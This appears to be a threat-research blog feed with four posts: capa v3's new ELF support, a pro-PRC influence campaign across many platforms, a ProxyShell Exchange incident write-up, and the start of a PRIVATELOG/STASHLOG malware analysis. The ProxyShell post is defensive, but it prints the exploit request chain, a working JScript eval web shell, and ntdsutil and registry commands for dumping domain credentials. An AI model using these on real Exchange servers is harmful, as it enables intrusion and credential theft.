🔒
There are new articles available, click to refresh the page.
✇ Threat Research

ELFant in the Room – capa v3

By: Willi Ballenthin

Since our initial public release of capa, incident responders and reverse engineers have used the tool to automatically identify capabilities in Windows executables. With our newest code and ruleset updates, capa v3 also identifies capabilities in Executable and Linkable Format (ELF) files, such as those used on Linux and other Unix-like operating systems. This blog post describes the extended analysis and other improvements. You can download capa v3 standalone binaries from the project’s release page and checkout the source code on GitHub.

ELF File Format Support

capa finds capabilities in programs by parsing executable file formats, disassembling code, and then recognizing features in functions. In versions v1 and v2, capa only understood the PE file format, so its analysis was restricted to Windows programs. Thanks to our colleagues at Intezer, capa now recognizes ELF files! This means you can use the tool to identify behaviors in malware that targets Linux computers. Figure 1 shows a rule that describes techniques to fetch the current user on Linux.


Figure 1: capa rule identifying capabilities on Linux

We’re excited Intezer leverages capa and thrilled they are sharing their improvements with the community. In addition to the code updates, Intezer proposed 36 capa rules to identify various capabilities in ELF files, such as reconnaissance, persistence, and host interaction techniques. Please read Intezer’s blog post for more details.

New Features capa Can Recognize

As we taught capa to recognize ELF files, we also wanted rule authors to tune their rules to find behaviors specific to different operating systems (OS), CPU architectures, and file formats. For example, the APIs exposed by Windows are very different from those found on Linux systems; therefore, rules should clearly designate which pattern to use on Windows versus Linux.

Based on discussions and feedback collected from users and contributors, we've extended capa’s rule format to describe OSes, CPU architectures, and file formats. The rule shown in Figure 2 uses os features to distinguish techniques used to get networking interface information on Windows and Linux. Note that the rule is explicit about which APIs are found on each OS, making it easy for both humans and machines to interpret the matching logic.


Figure 2: capa rule using the os feature to distinguish OS specific features

We’ve also added arch (such as arch: i386 for 32-bit Intel code) and format (such as format: elf for ELF files) features to distinguish between CPU architectures and file formats. To learn more about these and capa’s rule syntax see the rule format documentation on GitHub.

Unfortunately, rules with these new features are not backwards compatible with older versions of capa. Therefore, you should prefer to upgrade your capa installation to take advantage of our enhanced rules.

Substring Features

To make many rules easier to read, we’ve added a convenience feature named substring that acts like a literal string match with implied leading and trailing wildcards. This makes it easier to match file path components, such as /.ssh/id_rsa. Previously, users had to wrap a substring with forward slashes and escape special characters with backslashes, leading to nearly incomprehensible character sequences. Now, a substring feature clearly describes a literal string found as part of a longer string. Figure 3 shows how much easier it is to read a substring feature.


Figure 3: Old- and new-style ways of describing a substring

Figure 4 shows a capa rule using a substring feature to describe a persistence location on Linux.


Figure 4: capa rule using the substring feature to identify persistence on Linux systems

Conclusion

The newest improvements add ELF file analysis support to capa and make its rules even more expressive. We thank the community and notably Intezer for their continued support. We love the collaboration and are excited for future opportunities. The v3 capa release also includes bug fixes, improvements to the IDAPython plugin capa explorer, and more than 50 new rules. See the capa changelog for all update details.

The new capa release is available on the release page and on PyPI. capa’s code and rules are available on GitHub. If you have any questions or feedback, please open an issue or discussion in the respective repository.

✇ Threat Research

Pro-PRC Influence Campaign Expands to Dozens of Social Media Platforms, Websites, and Forums in at Least Seven Languages, Attempted to Physically Mobilize Protesters in the U.S.

By: Ryan Serabian

In June 2019, Mandiant Threat Intelligence first reported to customers a pro-People’s Republic of China (PRC) network of hundreds of inauthentic accounts on Twitter, Facebook, and YouTube, that was at that time primarily focused on discrediting pro-democracy protests in Hong Kong. Since then, the broader activity set has rapidly expanded in size and scope and received widespread public attention following Twitter’s takedown of related accounts in August 2019. Numerous other researchers have published investigations into various aspects of this activity set, including Google’s Threat Analysis Group, Graphika, the Australian Strategic Policy Institute, the Stanford Internet Observatory and the Hoover Institution, and the Centre for Information Resilience.

Since we began tracking the campaign in mid-2019, we have observed multiple shifts in its tactics, many of which have been reported on publicly elsewhere, including the use of artificially generated photos for account profile pictures and the promotion of a wide variety of narrative themes related to current events, including multiple narratives related to the COVID-19 pandemic, narratives critical of Chinese dissident Guo Wengui and his associates, and narratives related to domestic U.S. political issues. However, other evolutions in the network’s activity do not appear to have been reported widely, and our aim with this blog post is to provide early warning of two significant developments that we believe are important to monitor despite the limited impact of the network so far:

  • The scope of activity, in terms of languages and platforms used, is far broader than previously understood. Most reporting has highlighted English and Chinese-language activity occurring on the social media giants Facebook, Twitter, and YouTube. However, we have now observed this pro-PRC activity taking place on 30 social media platforms and over 40 additional websites and niche forums, and in additional languages including Russian, German, Spanish, Korean, and Japanese. While some platforms have hosted hundreds or thousands of accounts in the network, other platforms have hosted a smaller number. Collectively, these observations suggest the actors behind this campaign have significantly expanded their online footprint and appear to be attempting to establish a presence on as many platforms as possible to reach a variety of global audiences.
  • Accounts in the network have actively sought to physically mobilize protestors in the U.S. in response to the COVID-19 pandemic, though we have seen no indication that these attempts motivated any real-world activity. While previous public reporting has highlighted limited instances of organic engagement with the network on Twitter and we have continued to track similar instances of organic engagement on both social media and niche online forums, this direct call for physical mobilization is a significant development compared to prior activity, potentially indicative of an emerging intent to motivate real-world activity outside of China’s territories. While this attempt did not appear to achieve any success, we believe it is critical that observers continue to monitor for such attempts in case greater degrees of organic engagement are later realized by the network.

Activity Expands to Dozens of Social Media Platforms, Websites, and Forums in at Least Seven Languages

Similar to previously reported activity that has spanned Facebook, Twitter, and YouTube, we have observed coordination between suspected accounts in the network across 30 social media platforms and over 40 other websites and online forums. These accounts have posted similar, and in many cases identical messaging and engaged in the coordinated sharing, commenting on, and liking of text, image, and video content. For example:

  • We have observed thousands of identical text posts, images, and videos promoted by accounts on Vimeo, Vkontakte, TikTok, and a number of other platforms claiming that Chinese dissident Guo Wengui, former White House Chief Strategist Steve Bannon, and Chinese virologist Dr. Li-Meng Yan are “liars” in response to Dr. Yan’s Claim that the coronavirus was created in a Chinese lab (Figure 1). Videos featured characteristics typical of those promoted by the network historically, including Chinese and automated English-language voiceovers.
  • In some instances, accounts on one platform have directly provided their corresponding social media handles on other platforms in their bios. For example, we have observed accounts on LiveJournal posting in Russian, English, and German provide handles for corresponding Twitter accounts that all posted in English (Figure 2). Different accounts across different platforms have also appropriated the same profile photos, including photos of models and stock photography (Figure 3). We also observed instances of forum posts linking to other accounts in the network (Figure 4).


Figure 1: Vimeo account (left) shares identical video as TikTok account (right)


Figure 2: LiveJournal account (left) linking to Twitter account (right); accounts use identical profile photo and display name


Figure 3: Tumblr account (top) uses same profile photo as LiveJournal account (bottom)


Figure 4: A forum post links to a Twitter account in the network

We have observed extensive promotion of Russian, German, Spanish, Korean, and Japanese-language content on U.S. and non-U.S.-based platforms, in addition to the typical English and Chinese-language activity that has been widely reported on. This represents a significant development in our collective understanding of this pro-PRC activity set. For example:

  • We observed Russian-language posts on LiveJournal claim that U.S. Ft. Detrick was the source of the coronavirus and that China was “not the source” of the virus, a long-promoted and extensively reported narrative of this activity set that has also been promoted by Chinese state-run media outlets since early 2020 (Figure 5). Additionally, we have observed Russian-language posts on both LiveJournal and VKontakte by accounts we have tied to the network cite unconfirmed studies to claim COVID-19 may have appeared in the U.S. as early as December 2019.
  • We have observed several instances of multiple inauthentic VKontakte accounts reposting Russian translations of posts by what appear to be authentic English-language Twitter accounts belonging to individuals who claim to have contracted COVID-19 in late 2019 in the U.S. and other locations outside China (Figure 6). We also observed a small number of Russian-language posts by VKontakte accounts in the network state that Taiwan and Hong Kong are Chinese territories.
  • We observed German and Spanish-language content on LiveJournal and the Argentine social media site Taringa that also attempted to cast doubt about the origins of COVID-19. Posts in German on LiveJournal cited unconfirmed studies to claim that COVID-19 may have appeared in the U.S. before January 2020, while posts in Spanish on Taringa claimed that U.S. Ft. Detrick was the source of COVID-19 and linked to third-party articles that claimed that the virus appeared in the U.S. and Europe before China (Figures 7 and 8).
  • Notably, some of the Russian and German-language posts we observed contained recurring grammatical errors, a limited indication that they may have been authored by non-native speakers of those languages. For example, we observed Russian-language LiveJournal posts by accounts purportedly operated by female bloggers use a masculine-tense verb for the phrase "Я увидел" (Translation: "I saw"), which should read "увидела" if written by a female Russian speaker (Figure 9).


Figure 5: LiveJournal accounts promote identical text in Russian claiming that "U.S. Ft. Detrick was the source of COVID-19" and that "China is not the source of the virus"


Figure 6: Inauthentic VKontakte accounts (top) repost in Russian a post from what appears to be an authentic English-language Twitter account (bottom)


Figure 7: LiveJournal accounts post identical text in German claiming that COVID-19 may have appeared in the U.S. before Jan. 19, 2020


Figure 8: Spanish-language Taringa accounts post articles and text to cast doubt about the origin of COVID-19


Figure 9: LiveJournal accounts post identical, grammatically incorrect messages in Russian implying that American netizens believed they were infected with COVID-19 in late 2019 and early 2020

Attempts to Physically Mobilize Protestors in the U.S.

In April 2021, thousands of posts in languages including English, Japanese, and Korean, images, and videos were posted across multiple platforms by accounts we assess to be part of this broader activity set that called on Asian Americans to protest racial injustices in the U.S. (Figure 10). The accounts specifically called on Asian Americans to protest on April 24 in New York City and “fight back” against the purported “rumors” caused by Dr. Li-Meng Yan, Guo Wengui, and Steve Bannon, and in some instances provided an address that they claimed Guo lived at.


Figure 10: Twitter account calls for physical protests in Japanese (left), Korean (middle), and English (right) (Note: We have censored the address listed by the accounts)

Subsequently, we observed posts by accounts in the network portray the advocated April 24 New York City protest as a success, claiming that Asian Americans, other minority groups, and Caucasian protestors attended (Figure 11). Other posts claimed that these protesters were met by Guo Wengui’s “supporters”, who “violently assault[ed]” them. As part of this claim of success, we observed a manipulated image in which the face of Dr. Yan was superimposed onto a sign held by a purported protestor and shared across nearly all the social media platforms and forums that we have seen leveraged as part of this broader activity set. We identified the image to be a manipulation of a picture taken at a rally against racial discrimination that took place in Jamestown, NY, on or around April 23, 2021 (Figure 12).


Figure 11: A Medium account (left) and an Underlined account (right) post identical text claiming Asian Americans protested racial violence in the U.S. The sign being held in the picture on the left has been photoshopped


Figure 12: Photoshopped image of Dr. Yan's face on a sign (left), shared across nearly all platforms (original photo on the right)

Despite these claims, we have not observed any evidence to suggest that these calls were successful in mobilizing protestors on April 24. However, it does provide early warning that the actors behind the activity may be starting to explore, in however limited a fashion, more direct means of influencing the domestic affairs of the U.S. We believe it is important to call attention to such attempts and for observers to continue to monitor for such attempts in future.

Conclusion

Our aim with this blog post is to provide early warning of two significant developments that we believe are important to monitor for despite the limited impact of this pro-PRC campaign thus far. First, the activity is taking place not just on the big three social media giants, but on at least 30 social media platforms and dozens of additional websites and forums, and in languages including not just English and Chinese, but also German, Russian, Spanish, Korean, and Japanese. This suggests that the actors behind the campaign have significantly expanded their online footprint and appear to be attempting to establish a presence on as many platforms as possible to reach a variety of global audiences. Second, the attempt to physically mobilize protesters in the U.S. provides early warning that the actors responsible may be starting to explore more direct means of influence and may be indicative of an emerging intent to motivate real-world activity outside of China’s territories.

✇ Threat Research

PST, Want a Shell? ProxyShell Exploiting Microsoft Exchange Servers

By: Adrian Sanchez Hernandez

In August 2021, Mandiant Managed Defense identified and responded to the exploitation of a chain of vulnerabilities known as ProxyShell. The ProxyShell vulnerabilities consist of three CVEs (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) affecting the following versions of on-premises Microsoft Exchange Servers.

  • Exchange Server 2013 (Cumulative Update 23 and below)
  • Exchange Server 2016 (Cumulative Update 20 and below)
  • Exchange Server 2019 (Cumulative Update 9 and below)

The vulnerabilities are being tracked in the following CVEs:

CVE

Risk Rating

Access Vector

Exploitability

Ease of Attack

Mandiant Intel

CVE-2021-34473

High

Network

Functional

Easy

Link

CVE-2021-34523

Low

Local

Functional

Easy

Link

CVE-2021-31207

Medium

Network

Functional

Easy

Link

Table 1: List of May & July 2021 Microsoft Exchange CVEs and FireEye Intel Summaries

Overview

Microsoft Exchange Server provides email and supporting services for organizations. This solution is used globally, both on-premises and in the cloud. This chain of vulnerabilities exists in unpatched on-premises editions of Microsoft Exchange Server only and is being actively exploited on those servers accessible on the Internet.

Mandiant responded to multiple intrusions impacting a wide variety of industries including Education, Government, Business services, and Telecommunications. These organizations are based in the United States, Europe, and Middle East. However, targeting is almost certainly broader than directly observed.

One specific targeted attack observed by Mandiant, detailed in this post, was against a US-based university where UNC2980 exploited ProxyShell vulnerabilities to gain access to the environment.

The Exploit Chain Explained

ProxyShell refers to a chain of attacks that exploit three different vulnerabilities affecting on-premises Microsoft Exchange servers to achieve pre-authenticated remote code execution (RCE). The exploitation chain was discovered and published by Orange Tsai (@orange_8361) from the DEVCORE Research Team.

Delivering the Payload

In order to later create a web shell on a Microsoft Exchange server by exporting from a mailbox, an attacker first needs to create an email item within a mailbox. In the Metasploit implementation of the attack, the Autodiscover service is abused to leak a known user’s distinguished name (DN), which is an address format used internally within Microsoft Exchange. The Messaging Application Programming Interface (MAPI) is then leveraged to leak the user's security identifier (SID), by passing the previously leaked DN as a request. The SID is then used to forge an access token to communicate with Exchange Web Services (EWS).

With the attacker able to successfully impersonate the target user with a valid access token, they can perform EWS operations. To continue with the ProxyShell attack, the operation  ‘CreateItem’ is used, which allows the remote creation of email messages in the impersonated user’s mailbox. While responding, Mandiant has seen draft emails with attached web shells, encoded in such a way that they become decoded upon export to PST later in the attack (specifically with permutative encoding).

Emails may also be placed in targeted users' mailboxes via SMTP, as was suggested in Orange Tsai’s documentation of the attack.

CVE-2021-34473 — Pre-auth Path Confusion Leads to ACL Bypass

Microsoft Exchange has a feature called ‘Explicit Logon’, which legitimately allows users to open another user's mailbox or calendar in a new browser window by providing the mailbox address in the URL. The feature was designed to only provide access where ‘Full Access’ is granted to the user, and the target mailbox or calendar is configured to publish. Exchange is designed to normalize the specified mailbox address in the URL to identify the target.

The vulnerability exists in passing the string Autodiscover/Autodiscover.json to the email field in the URL. By passing that string, Exchange does not perform sufficient checks on the address, and through its normalization process, this leads to arbitrary access to backend URLs as NT AUTHORITY/SYSTEM.

GET /autodiscover/[email protected]/?&Email=autodiscover/autodiscover.json%[email protected]

GET /autodiscover/[email protected]/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%[email protected]

POST /autodiscover/[email protected]/autodiscover/autodiscover.xml?&Email=autodiscover/autodiscover.json%[email protected]

POST /autodiscover/[email protected]/mapi/emsmdb?&Email=autodiscover/autodiscover.json%[email protected]

Figure 1: Requests showing how an attacker can abuse the normalization process of the Explicit Logon feature

CVE-2021-34523 — Elevation of Privilege on Exchange PowerShell Backend

The Exchange PowerShell Remoting feature, natively built into Microsoft Exchange, was designed to assist with administrative activities via the command line. The previous exploit allowed an attacker to interface with arbitrary backend URLs as NT AUTHORITY/SYSTEM, however since that user does not have a mailbox, the attacker cannot directly interface with the PowerShell backend (/Powershell) at that privilege level.

The PowerShell backend checks for the X-CommonAccessToken header in incoming requests. If the header does not exist, another method is used to get a CommonAccessToken. This method checks for the X-Rps-CAT parameter in the incoming request, and if present, deserializes this to a valid CommonAccessToken. With the previously collected information on the target mailbox or default information from built-in mailboxes, passing of a valid X-Rps-CAT value is trivial.

By passing this value to the PowerShell backend with the previously successful access token, an attacker can downgrade from the NT AUTHORITY/SYSTEM account to the target user. This user must have local administrative privileges in order to execute arbitrary Exchange PowerShell commands.

POST /autodiscover/[email protected]/powershell/?X-Rps-CAT=[Base64 encoded data]

Figure 2: This request uses the parameter X-Rps-CAT, which allows valid user impersonation

CVE-2021-31207 — Post-auth Arbitrary-File-Write Leads to RCE

Once the two previous vulnerabilities are exploited successfully, the vulnerability CVE-2021-31207 allows the attacker to write files. As soon as the attacker is able to execute arbitrary PowerShell commands, and the required ‘Import Export Mailbox’ role is assigned to the impersonated user (which can be achieved by execution of the New-ManagementRoleAssignment cmdlet), the cmdlet New-MailboxExportRequest can be used to export a user’s mailbox to a specific desired path e.g.

New-MailBoxExportRequest – Mailbox [email protected] -FilePath \\127.0.0.1\C$\path\to\webshell.aspx

Figure 3: New-MailBoxExportRequest can be used to export payloads

The use of New-MailboxExportRequest allows the attacker to export target mailboxes where previously created emails with encoded web shells were created. The attacker can export the mailbox to a PST file format with a web file extension, such as ASPX, which allows the attacker to drop a functional web shell, since the encoded attachments in the email are decoded upon write to the PST file format. This is due to the PST file format using permutative encoding, by attaching a pre-encoded payload, upon export the decoded payload is actually written.

Observations From Investigations

Mandiant responded to intrusions involving ProxyShell exploitation across a range of customers and industries. Examples of proof-of-concept (PoC) exploits developed and released publicly by security researchers could be leveraged by any threat group, leading to adoption by threat groups with varying levels of sophistication. Mandiant has observed the exploit chain resulting in post-exploitation activities, including the deployment of web shells, backdoors, and tunneling utilities to further compromise victim organizations. As of the release of this blog post, Mandiant tracks eight UNC groups exploiting the ProxyShell vulnerabilities.  Mandiant anticipates more clusters will be formed as different threat actors adopt working exploits.

Exploitation

Mandiant has observed the exploitation of Proxyshell starting with the abuse of Autodiscover services to leak known users distinguished name (DN) to then leverage it to leak the administrator security identifier (SID).

By using the leaked DN and SID, the attacker can create a mailbox that contains a draft email with a malicious payload as an attachment. Afterwards, the mailbox and the contained payload are exported to a web-accessible directory or another directory on the host.

Attempted exploitation of ProxyShell appears to be mostly automated. In some cases, Mandiant observed only partial attacker success, such as the creation of items in mailboxes remotely, but not the exporting of mailboxes and their contained payloads to another directory on the host.

Mandiant has observed a wide range of source IP addresses and user agents attempting HTTP requests consistent with the first stage of the ProxyShell exploit chain.

Post-Exploitation

Upon successful exploitation of the vulnerabilities, Mandiant observed multiple payloads to gain a foothold in the network including CHINACHOP and BLUEBEAM web shells (see Malware Definitions section). Follow-on actions include execution of internal reconnaissance commands on servers, and deployment of tunneler utilities.


Figure 4: BLUEBEAM ASP web shell that was embedded into a PST payload

Threat Actor Spotlight: UNC2980

In August 2021, Mandiant Managed Defense responded to an intrusion leveraging the ProxyShell vulnerability at a US-based university. Mandiant tracks this threat actor as UNC2980.

UNC2980 is a cluster of threat activity tracked since August 2021 and believed to be conducting cyber espionage operations. Mandiant suspects this group to be operating from China currently assessed at low confidence. UNC2980 has been observed exploiting CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, publicly referred to as "ProxyShell", to upload web shells for initial access. The group relies on multiple publicly available tools including EARTHWORM, HTRAN, MIMIKATZ, and WMIEXEC post compromise.

UNC2980 in Action

Upon gaining access through the exploitation of ProxyShell and deploying a web shell, UNC2980 dropped multiple tools into the victim environment. The following publicly available tools were observed on the initial compromised host: HTRAN, EARTHWORM, and several MIMIKATZ variants.

<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['cmd'],'unsafe');}</script>

Figure 5: Web shell embedded in PST payload used by UNC2980

Approximately 11 hours and 44 minutes after the ProxyShell exploitation, Mandiant observed post-exploitation activity beginning with multiple Event ID 4648 (A logon was attempted using explicit credentials) events initiated by the process C:\root\mimikatz.exe on the initial compromised host. All Event ID 4648 events were associated with two different domain controllers within the environment.

The group then utilized the utility WMIEXEC to conduct post-exploitation activity. This was primarily observed through the default redirection of command output used by WMIEXEC.

cmd.exe /c whoami > C:\wmi.dll 2>&1

cmd.exe /c quser > C:\wmi.dll 2>&1

cmd.exe /c net localgroup administrators > C:\wmi.dll 2>&1

Figure 6: Reconnaissance commands executed via WMICEXEC

UNC2980 was observed utilizing several techniques for credential theft once access to a host was established. In one instance, after performing reconnaissance, UNC2980 deployed multiple variants of MIMIKATZ. In another instance, UNC2980 utilized multiple batch files which executed ntdsutil to enumerate snapshots of volumes and were then used to copy ntds.dit and the System hive.

ntdsutil snapshot "List All" quit quit >>c:\temp\1.txt

ntdsutil snapshot "unmount {[GUID]}" quit quit

net localgroup administrators

ntdsutil snapshot "activate instance ntds" create quit quit

ntdsutil snapshot "delete {[GUID] }" quit quit

ntdsutil snapshot "mount {[GUID]}" quit quit

copy c:\$SNAP_[date]_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit

reg save hklm\system c:\temp\s.hive

Figure 7: Executed Batch commands

Monitoring and Investigating

Mandiant recommends monitoring or investigating for compromise on presently or previously vulnerable Exchange servers.

Remote Creation of Items in Mailboxes
  • Monitor or investigate irregular Exchange EWS logs to identify CreateItem requests, indicating the remote creation of items.
    • Mandiant has observed draft emails created, containing attached encoded web shells, though other items may also be created.
    • Examine logs under ‘Program Files\Microsoft\Exchange Server\V15\Logging\Ews\*’ where:
      • AuthenticatedUser is SYSTEM or a system account
      • SoapAction is CreateItem
      • HttpStatus is 200 (indicating success)
  • Monitor or identify draft emails with encoded attachments.
    • Mandiant has observed draft emails containing .TXT file attachments with encoded content.
Remote Unauthenticated PowerShell
  • Monitor IIS logs for successful POST requests containing "/autodiscover/autodiscover.json" & "Powershell".
  • Monitor or investigate the execution of the PowerShell cmdlets ‘New-ManagementRoleAssignment’ or ‘New-MailboxExportRequest’.
    • Mandiant has observed ‘New-ManagementRoleAssignment’ being used to assign mailbox import and export permissions to target mailboxes, followed by ‘New-MailboxExportRequest’ to export the drafts folder containing emails with encoded web shells attached.
    • Examine PowerShell ScriptBlock, transcription, and module logging where enabled.
    • Examine logs under ‘Program Files\Microsoft\Exchange Server\V15\Logging\CmdletInfra\Powershell-Proxy\Cmdlet\*’, especially the cmdlet parameters where:
      • AuthenticatedUser is the name of impersonated mailbox user
      • ProcessName contains w3wp
      • Cmdlet is ‘New-ManagementRoleAssignment’ or ‘New-MailboxExportRequest’
    • Mandiant has observed the ‘CmdletInfra\Powershell-Proxy\Cmdlet’ logs recording remote cmdlets and their parameters even when regular PowerShell ScriptBlock/transcription/module logging is not enabled.
    • Mandiant recommends review of these logs on presently or previously vulnerable servers even in cases where no web shell is identified, since attackers may execute any PowerShell cmdlet, utilizing only part of the exploit chain.
  • Examine the ‘Data’ field in the Audit logs stored under ‘\Program Files\Microsoft\Exchange Server\V15\Logging\LocalQueue\Exchange\*’. This field contains JSON data with the Operation Key value containing the executed PowerShell cmdlets.

Creation or Use of Web Shells

  • Monitor or identify .ASPX files created under the path inetpub\wwwroot\aspnet_client written by SYSTEM.
  • Monitor or identify PST files (by header ‘!BDN’ / 0x2142444E) with web file extensions (commonly .ASPX). These files may be written by MSMailboxReplication.exe or w3wp.exe (the latter can be the result of replication events due to the exploitation of a different Exchange server in the same cluster).
  • Monitor or identify files created by MSMailboxReplication.exe with extensions other than .PST (this binary is used by the New-MailboxExportRequest PowerShell cmdlet).
  • Monitor or identify arbitrary commands spawned by the process w3wp.exe.
  • Monitor or investigate the ‘MSExchange Management’ Event logs (EID: 1 and EID: 6) to identify ‘New-MailboxExportRequest’ requests with .ASPX extensions, indicative of a web shell creation attempt.

Additional attempted or successful exploitation may be identified by analyzing network and IIS logs looking for HTTP requests matching some of the patterns described in this report.

  • Requests against /autodiscover/autodiscover.json containing ‘powershell’, ‘mapi/nspi’, ‘mapi/emsmdb’, ‘/EWS’ or ‘X-Rps-CAT'.
  • Status codes 200, 301, or 302 indicating successful exploitation.
  • Status codes 400, 401, or 404 indicating attempted exploitation.

Prevention and Remediation

Mandiant advises all organizations to apply patches KB5003435 (CVE-2021-31207) and KB5001779 (CVE-2021-34473 and CVE-2021-34523) to vulnerable on-premises Microsoft Exchange servers to mitigate these vulnerabilities being exploited. To verify the current version of on-premises Microsoft Exchange running within an organization, reference this Microsoft resource.

If an organization is not able to immediately apply the patches, inbound TCP/80 and TCP/443 traffic to on-premises Exchange servers should be explicitly blocked from the Internet.

Additionally, Mandiant recommends organizations review their detection and response capabilities, especially on public-facing infrastructure, including:

  • Deploying and configuring a File Integrity Monitoring solution to monitor and/or prevent the creation of files, especially on web servers outside of maintenance windows
  • Deploying, configuring, and monitoring an Endpoint Detection and Response solution to alert to and respond to malicious activity effectively
  • Enabling enhanced logging and implementing sufficient log retention periods to support investigations, including:
    • Microsoft Systems Monitor (Sysmon) on Windows Servers
    • PowerShell Module, Script Block, and Transcription Logging

Detecting the Techniques

Product

Signature

FireEye Endpoint Security

  • PST FILEWRITE WITH ASP EXTENSION (METHODOLOGY)
  • W3WP.EXE CHILD PROCESS RECON COMMAND (METHODOLOGY)
  • WMICEXEC (FAMILY)

FireEye Network Security

  • Exploit.PY.ProxyShell
  • Microsoft Exchange CVE-2021-34473 Remote Code Execution
  • FE_Microsoft Exchange CVE-2021-34473 Remote Code Execution

FireEye Email Security

FireEye Detection On Demand

FireEye Malware File Scanning

FireEye Malware File Storage Scanning

 

  • FEC_Exploit_PY_ProxyShell
  • FE_Hunting_PSTWithEmbeddedWebShell
  • FE_Exploit_PY_ProxyShell

FireEye Helix

  • MICROSOFT EXCHANGE [ProxyShell Exploit Attempt]
  • MICROSOFT EXCHANGE [ProxyShell Exploit Success]
  • MICROSOFT EXCHANGE [Post-Auth Arbitrary-File-Write (CVE-2021-31207) - Mailbox Export]
  • MICROSOFT EXCHANGE [Post-Auth Arbitrary-File-Write (CVE-2021-31207) - Certificate Request Export]

Mandiant Security Validation Action

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID

Name

A101-827

 

Application Vulnerability - CVE-2021- 34473, ProxyShell Vulnerability Check

A101-829

Application Vulnerability - ProxyShell, Exploitation

A101-839

Malicious File Transfer - ProxyShell WebShell, Download

Malware Definitions

BLUEBEAM

BLUEBEAM (aka. Godzilla) is a publicly available web shell management tool written in JAVA. BLUEBEAM can generate web shell payloads in JSP, ASP[.]NET, and PHP, it also supports AES encryption.

BLUEBEAM contains 20 built-in modules that provide features such as loading additional web shells into memory, shell execution, mimikatz, meterpreter, file compression, and privilege escalation.

HTRAN

HTRAN is a publicly available tunneler written in C/C++ that serves as a proxy between two endpoints specified via command line arguments.

EARTHWORM

EARTHWORM is a publicly available tunneler utility. It is capable of establishing a tunnel to a SOCKS v5 server and is supported on the following operating systems: Linux, MacOS, and Arm-Linux.

CHINACHOP

The CHOPPER web shell is a simple code injection web shell that is capable of executing Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with webserver account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.

For more detailed analysis, see our blog post on the China Chopper web shell.

Acknowledgements

Alex Pennino, Andrew Rector, Harris Ansari and Yash Gupta

✇ Threat Research

Too Log; Didn't Read — Unknown Actor Using CLFS Log Files for Stealth

By: Adrien Bataille

The Mandiant Advanced Practices team recently discovered a new malware family we have named PRIVATELOG and its installer, STASHLOG. In this post, we will share a novel and especially interesting technique the samples use to hide data, along with detailed analysis of both files that was performed with the support of FLARE analysts. We will also share sample detection rules, and hunting recommendations to find similar activity in your environment.

Mandiant has yet to observe PRIVATELOG or STASHLOG in any customer environments or to recover any second-stage payloads launched by PRIVATELOG. This may indicate malware that is still in development, the work of a researcher, or targeted activity.

CLFS and Transaction Files

PRIVATELOG and STASHLOG rely on the Common Log File System (CLFS) to hide a second stage payload in registry transaction files.

CLFS is a log framework that was introduced by Microsoft in Windows Vista and Windows Server 2003 R2 for high performance. It provides applications with API functions—available in clfsw32.dll—to create, store and read log data.

Because the file format is not widely used or documented, there are no available tools that can parse CLFS log files. This provides attackers with an opportunity to hide their data as log records in a convenient way, because these are accessible through API functions. This is similar in nature to malware which may rely, for example, on the Windows Registry or NTFS Extended Attributes to hide their data, which also provide locations to store and retrieve binary data with the Windows API.

In Microsoft Windows, CLFS is notably used by the Kernel Transaction Manager (KTM) for both Transactional NTFS (TxF) and Transactional Registry (TxR) operations. These allow applications to perform a number of changes on the filesystem or registry, all grouped in a single transaction that can be committed or rolled back. For example, to open a registry key in a transaction, the functions RegCreateKeyTransacted(), RegOpenKeyTransacted(), and RegDeleteKeyTransacted() are available.

Registry transactions are stored in dedicated files with the following naming scheme: <hive><GUID>.TMContainer<number>.regtrans-ms or <hive><GUID>.TxR.<number>.regtrans-ms. These are CLFS containers that are referenced in a master .blf file that only contains metadata and can be found in various locations including user profile directories.

Registry transaction forensics were briefly explored in a previous blog post. The CLFS master and container file formats are mostly undocumented; however, previous research is available on GitHub.

Malware Obfuscation

As with many malware families, most of the strings used by PRIVATELOG and STASHLOG are obfuscated. Yet the technique observed here is uncommon and relies on XOR’ing each byte with a hard-coded byte inline, with no loops. Effectively, each string is therefore encrypted with a unique byte stream.


Figure 1: Sample string deobfuscation for "PrintNotify"

Interestingly, some of the deobfuscated strings from the installer are used for logging error messages and have spelling errors or typos such as:

  • Log index=%d, data border exceed bounday.\n
  • Interal data hash mismatch.\n
  • Log buffer size=%u too small, expect aleast %u bytes.\n

Introducing STASHLOG

In addition to containing obfuscated strings, the installer’s code is protected using various control flow obfuscation techniques that make static analysis cumbersome. Figure 2 is a graph overview of the installer’s main() function demonstrating the effects of the control flow obfuscation.


Figure 2: Graph view of main()

STASHLOG has two different modes of operation:

  • Without any arguments, during which it will prepare the environment
  • With a single argument, which is a file that should be hidden in a CLFS file
Preparing the Environment

Executed without arguments, the installer prints two values to the console:

  • The GUID returned from the registry value of HKLM\SOFTWARE\Microsoft\Cryptography\MachineGUID
  • A 56-byte value derived from a randomly generated GUID with CoCreateGUID()


Figure 3: Sample console output

The 56-byte value is a concatenation of the random GUID, its SHA1 hash, and the SHA1 hash of the previous values. So: GUID+sha1(GUID)+sha1(GUID+sha1(GUID)).

The randomly generated GUID is stored as a string in the GlobalAtom table, prefixed with win::. This table resides in memory and contains strings with their identifiers available to all applications.

If a string prefixed with win:: already exists when the installer is executed, then the pre-existing GUID in the GlobalAtom table is reused.

Effectively, when executed with no arguments, the installer generates and prints out encryption keys that the actor uses to pre-encrypt the payload before it is written to disk.

Stashing the Payload

When launched with an argument, the installer opens and decrypts the contents of the file passed as an argument. It verifies that the file is suffixed by its SHA1 hash, and then generates the same 56-byte value using the stored GlobalAtom GUID string in memory.

The 56-byte value is SHA1 hashed again and the first 16-bytes form the initialization vector (IV), while the key is the 16-byte MachineGUID value from the host’s registry. The encryption algorithm is HC-128, which is rarely seen used in malware.

The expected decrypted file contents have a 40-byte header:

struct payloadHeader {
   DWORD magic;
   DWORD minWinVer;
   DWORD maxWinVer;
   DWORD totalSize;
   WORD numBlocks;
   WORD unknown;
   BYTE sha1sum[20];
}

In the analyzed installer, the “magic” value is referred to as a checksum; however, STASHLOG verifies this value matches the hard-coded value 0x00686365. The number of blocks, specified at offset 16, must be between 2 and 5. The malware also checks that the operating system version is within a lower and upper boundary and that the SHA1 hash of the decrypted data matches the payload header value at offset 20.

